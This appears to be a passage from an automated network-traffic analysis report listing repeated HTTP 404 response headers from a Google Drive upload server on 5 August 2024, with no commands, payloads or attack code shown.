Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:27 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-USSUpca6kZK_jye061nnHQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPZGVEhTGZ9kerv1KGfT5dH6vQBls6k4rfigwFJFzL_grN9nN3uQkNG1_UOI30gXMv3hIbWfG6IWgServer: UploadServerSet-Cookie: NID=516=rgCy0OADalF9Ozovs0GbwYgY7EgFpP3YHQ5XwvdsCbn2EeisHQPXqSChhyD4L1OaELyrNYbPeP2Wqd2xpO9ZnhsWrE_wcPKBQ-_GkuUU29Gcdk7mRdjymR4S6GPDkRR-TwU4lLoBPFD8Do0OeajKPeS9dlE7RB8RiuH7PfUJOP0; expires=Tue, 04-Feb-2025 10:00:27 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:28 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-ZY2b5ON4wY822ftJu7uztQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nNWpZYtLmv8JWHUeS68MtQ1TZ6GpbCXp1BueNfgM4N9ApqCbngTDcDrIXtJcQoKiyH2jM0Server: UploadServerSet-Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ; expires=Tue, 04-Feb-2025 10:00:28 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:29 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: script-src 'report-sample' 'nonce-NH1czIJwW-o4gTejHU9bSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nOw7_77y7gKnq2iTgjEPFyGLhXXRLyecvRRDlvbzPwAwjJVmHQDOXqHlrKrB_41jU_Yr8P_h2Yi-QServer: UploadServerSet-Cookie: NID=516=lig-sOBGA5TB7ptWnULGu1d760cSxC6z3TKjFJn9UuDYxqyyzp4bJv8lnAvwbOR4cOX2rNdoXQ_R9QlW6hdoDGikJ069ZPuivs0Ad9eBupUSNqX6j-igI3ec6lzbgsBEPZw3AKR8C9ApKQiNso3LlHZOn0FW-ZbzY0ujqeFO7HQ; expires=Tue, 04-Feb-2025 10:00:29 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:33 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-U38SyGbVXDmDO6jHQWtyUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nO-KHcX-p-NpVQ9LEEP9_lVuPN5LjC5jDtjP_tASo4GVQYv_2u3BbG0BgjP5Jy_uE7vivKy8AH11gServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:33 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-PR5sQCtVKnDhcWFaJeC5xg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nM_IR9vaF3fPfZ_EN_j5VnZzQfVzRKWs2Pg98fBk64jJdI_OLwhWmo0hzUV0rAZWpyZ0CGqYkY6PgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:34 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-JCRlCFbJ6KZptzwVEPycZQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nNrviYlllwjokMC6cFPMJNBgLKKQFqOu2HIPB79hvfgYUbOZoD9xJfDnqlEH5wo0wJ0LOfVyjVbGgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:34 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-wukt907i-vDAWtaYkfVTQQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nOY8Bvfzja-Y872o2FRxndIdL0yret5mihEaZFI3K53nQ268wvM90vs295Y_0ZYyqSQ2WEFeVe5NwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:36 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-1GlM3DvQg1qYMROJzWQgjg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nNimZnCxxERMCpV3gr-b-lqK7G_ib4GYCohPEThy6iqJ2yOJzqY8qf6tWbZCcV8n0bJIDww-YRA5AServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:39 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-cYnM-a8AM4ydoYZp3mNIGQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nMsSoo7fwYCf1d-CCFYOi7X6hjEmXQwQF_iePu2rAC7J_YFI6WY7ZMub9qX7hxdR0bfhsP67i-DvwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:39 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-lnQmpsl30sq5gNYvk-Mkvg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nOYxqbWL2oT7fFGJHKnkK1uqENQsxIn-Dd2Mq4AT2NY05BdnGrLfNhSYkS4dVJLboHER0sServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:43 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-Kb0q9rD0TXjbW1yzDjXy2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nMo2vz90GCtX6tuHQ_zK98P1ZPlmwZnksVgyjE2zWX8DbX6aLrN7beVloES300fTia4O4MServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:43 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-eyGUNyn5yLaSlCtazZSFHw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nNxTLbyZKor6LlIO75v7BGh7236Iv2DbKY8NWBLhJGYp2NykEWgoxwG7mCXeJBQavg-R4oServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:45 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-E6EWkAgHH5224Pr0sKifrg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nPHEOs3Jz8uRib-8LeYGmlnPshHGY5J_Bs6sWKIR4R6K3RW_S94EUekinvmVtGiGfTpSy79yHsq_AServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:46 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-F_RWwYWbODBxnPOmMz66Eg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nMhH4f2fZ7698oIjZxraoy8psKSFNa5PTGfcvbwhPfqJVMuEJQfW8BM2zvJsFA1Ymvlc2QServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:47 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-DalGO-941rB-E_SSCorENA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nPbccmrSmZuIzQhjwIaXFgyh-xQKRAvCLZ2PsTQSymqiWTT7II2wxuMvWWQ8Hx7dIYO0JpSNEDGEQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:47 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-HUfAlOmaz9p4mElPgEri_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nOAjycIm-SlNPqqQycBbSeufwrtCulDZG918utbF7kiqminbQB7mJS3ZNPy43KGQnYxmahaI1WuvQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:48 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-QQtB8Q2dY5CV9MH1wFsBWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPbysH75zrGacBffbdhVZJXjNZ11JqLGozfLMJgv2YwnRIG9CniNUJdxYmSdADgQv5yYP8Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:48 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-MrLr0feq32OFrbf1oazauw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPnRx6Y_bhO9kKtPI80vfeKoCN3ibwFj8Mlhz_fAVZleDmBCdzH1MT_kahOrM0dqO8JXk11dK9gVwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:49 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-TeXvFnvHDYoAJHggKJgDvw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nPgEzkLdFhEdWCalBREevMalC6ZiVM9n7jNdA0abpf4G7WXWDM6XPGbqTv9XttUBZlEme2u5UoOUQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
